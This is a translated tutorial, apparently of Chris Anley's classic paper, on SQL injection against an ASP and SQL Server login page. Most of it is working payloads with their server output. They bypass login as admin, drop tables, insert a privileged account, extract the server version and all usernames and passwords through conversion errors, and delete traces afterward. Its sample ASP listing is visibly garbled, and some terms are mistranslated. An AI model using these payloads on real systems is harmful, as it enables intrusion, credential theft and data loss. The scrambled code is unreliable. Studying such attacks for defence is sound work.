Basic sql injections in applications using the SQL language. Guide for dummies

Translator's Note

This work is a translation of the work of Chris Anley Advanced SQL Injection In SQL Server Applications. ( direct download link )
In subsequent articles, if there is free time, this translation will be completed.

PS Translation will be more interesting for educational and historical purposes.

Original article title: Advanced SQL Injections in SQL Applications.
')

annotation

This article discusses in detail the general methods of SQL injection for the well-known Microsoft Internet Information Server / Active Server Pages / SQL Server platform. It discusses various uses of SQL injection in applications and explains data validation methods, as well as the protection of databases in which injections can be used.

Introduction

Structured Query Language (SQL) is a structured language used to interact with databases. There are many "dialects" of the SQL language, but today, basically, they are all based on the SQL-92 standard, one of the early ANSI standards. The main operational SQL block is a query (query), which is a collection of expressions that usually return a set of results (result set). SQL expressions can change the database structure (using data definition language expressions - DLL) and control their content (using data manipulation language expressions - DML). In this paper, we will look at transact-SQL used in Microsoft SQL Server.

SQL injections are possible when an attacker can insert his SQL code into a query (query) to control the data that is sent to the application.

A typical SQL statement looks like this:

select id, forename, surname from authors 

This expression takes “id”, “forename” and “surname” from the columns of the “authors” table and returns all the rows in the table. The sample may be limited by a specific “author”, for example:

 select id, forename, surname from authors where forename = 'john' and surname = 'smith' 

It should be noted that in this query string literals are separated by a single quote. It is assumed that “forename” and “surrname” are user input. In this case, the attacker will be able to enter his own SQL query by adding his own values ​​to the application. For example:

 <source lang="html"> Forename: jo'hn Surname: smith 

Then the expression takes the following form:

 select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith' 

After the database attempts to process such a request, the following error will be returned:

 Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'. 

The reason for the error will be that the entered single quote will ruin the structure of the delimiters in the query. Thus, the database fails to execute the “hn” command, which will result in an error. As a result, if the attacker enters the following information into the form:

 Forename: jo'; drop table authors-- Surname: 

The “authors” table will be deleted, why this will happen later.

It may seem to you that if we remove single quotes from the input form and also “replace” them, this may solve our problem. And you will be right, but there are some problems with using this method as a solution to this problem. First, not all user input is “strings”. If the user form will contain the "id" of the author, which is usually a number. For example, our query might look like this:

 select id, forename, surname from authors where id=1234 

In this case, the attacker can easily add any SQL statement in after the numerical data. In other types of SQL queries, different delimiters are used. For example, in Microsoft Jet DBMS, the delimiter is the “#” character. Secondly, “escaping” single quotes is not the easiest way to protect, as it may seem at first. More on this later.

Here is an example based on the Active Server Pages (ASP) based login page, which uses SQL to access the database in order to authorize the user in an application.

We give the code of the page containing the login form, in which the user name and password are entered.

 <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML> 

Below is the code (process_login.asp), which determines the correctness of the entered data.

 <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> </script> <script> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ){ var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); %> if (rso.EOF) { rso.close(); 

 <FONT Face='tahoma' color='cc0000'> <H1> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> } else{ %> <% } Response.end return; Session("username") = "" + rso("username"); <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED 

 Welcome, Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } } cn.close(); Main(); %> 

The vulnerability here is contained in "process_login.asp", which creates a query of the following type:

 var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; 

If the user enters:

 Username: '; drop table users-- Password: 

the “users” table will be deleted, which will block access to the application for all users. The combination “-” in Transact-SQL defines a single-line comment, and “;” indicates the end of one line and the beginning of another. Two consecutive dashes in this query are used to complete the query without errors.

Moreover, an attacker can log in with any user name using the following structure:

 Username: admin'-- 

And by entering the following information, the attacker will be able to log in as a fictional user:

 Username: ' union select 1, 'fictional_user', 'some_password', 1-- 

The reason for the performance of this method is that the application “believes” that the returned dummy result is a set of records from the database.

Receiving information based on error messages

The inventor of this technique is David Litchfield, a researcher in the field of penetration testing (to test the protection system). Later, David wrote a paper on this topic [1], which was referred to by many other authors. His work explains the mechanism of using error messages - the error message technique. In his work, he fully explains this method to readers, and gives further impetus to the development of his own understanding of this problem.

For successful data management, an attacker must know the structure of the databases and tables to which he wants to gain access. For example, our “users” table was created using the following command:

 create table users( id int, username varchar(255), password varchar(255), privs int ) 

And contains the following users:

 insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff ) 

Suppose our hacker wants to insert his own entry into the table. It is unlikely that he will succeed if he does not know its structure. But even if he succeeds in this, the value of the “privs” field will remain incomprehensible. A cracker can insert the value “1” by creating an account with low privileges, while he needs access at the level of the application administrator.

Fortunately, for the hacker, the standard behavior of ASP for errors is the display of messages about them, with their help completely defining the database structure, and therefore finding out the values ​​of all fields from user accounts that are entered into the application database.

(In the following example, we will use the above database as well as the asp script to show this technique in action.)

First, the attacker will want to set the names of the tables with which the queries work, as well as the names of the fields. To achieve this goal, the attacker will use the "having" construction in select expressions:

 Username: ' having 1=1-- 

Which will cause the following error:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 

Thus, knowing the table names and the name of the first column in it. This procedure can be continued using the “group by” operator, as shown below:

 Username: ' group by users.id having 1=1-- 

(which in turn will generate a new error)

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 

As a result, the hacker will come the following design:

 ' group by users.id, users.username, users.password, users.privs having 1=1-- 

Which will not cause errors and will be equivalent to:

 select * from users where username = '' 

Thus, the attacker learns that the query affects only the “users” table, whose structure is 'id, username, password, privs' (in that order).

Use this information if you can find out the type of data that is used in each of the columns. Information about the type of data can be obtained using "type conversion", for example:

 Username: ' union select sum(username) from users-- 

The meaning of the summ () function is that the SQL server tries to execute it before it determines whether the value is numeric or symbolic. Attempting to calculate the "amount" of a text field will result in the following error:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 

Which tells us that the data type in the “username” field is varchar. On the other hand, if we try to calculate the sum () of a numerical type, we will receive a message notifying that the number of characters in the set of two text strings does not match:

 Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 

We can use a similar technique to determine the data type of almost any column, any table, located in the database.

Which in turn will help the attacker to form a well-composed “insert” request, for example:

 Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- 

However, for the possibility of the algorithm does not end there. A hacker can get useful information from errors about the environment or the database itself. The list of standard errors can be obtained using the design:

 select * from master..sysmessages 

After completing this request, you can get a lot of interesting information.

The type conversion information is particularly useful. If you try to convert a string to an integer, a message will be returned containing all the content of the string. In our example, the “username” conversion will return the SQL server version as well as the operating system version.

 Username: ' union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35 

In the example above, we will try to convert the embedded constant

 '@@version' 

integer value, since the first column in the “users” table has this data type.

The method can be used to read any value in any table in the database. Thus, if an attacker wants to know user names and passwords, then most likely he will use the following construction to read the data:

 Username: ' union select min(username),1,1,1 from users where username > 'a'-- 

If you select a user whose “username” is greater than a, it will lead to an attempt to convert types to an integer value:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35 

Thus, we will get a list of users, after which we will be able to proceed to obtaining passwords:

 Username: ' union select password,1,1,1 from users where username = 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35 

A more elegant way is to isolate all user names and passwords in one sample, and then try to convert them to an integer value. It should be noted that Transact-SQL expressions can be assembled together in one line without changing their value - consider the following example:

 begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end 

Obviously, the attacker will “log in” with this username:

 Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end-- 

This query will create a table foo, which will contain a single column “ret”, which will contain all of our rows. Often, even a user with low privileges has the ability to create a table in a database, or even a temporary database.

A cracker can thus select all rows from this table, as well as in the previous example:

 Username: ' union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35 

And after you notice the traces, deleting the table:

 Username: '; drop table foo-- 

The above examples show us all the flexibility offered by this algorithm. Needless to say, if an attacker manages to cause an error while accessing the database, their work is simplified many times.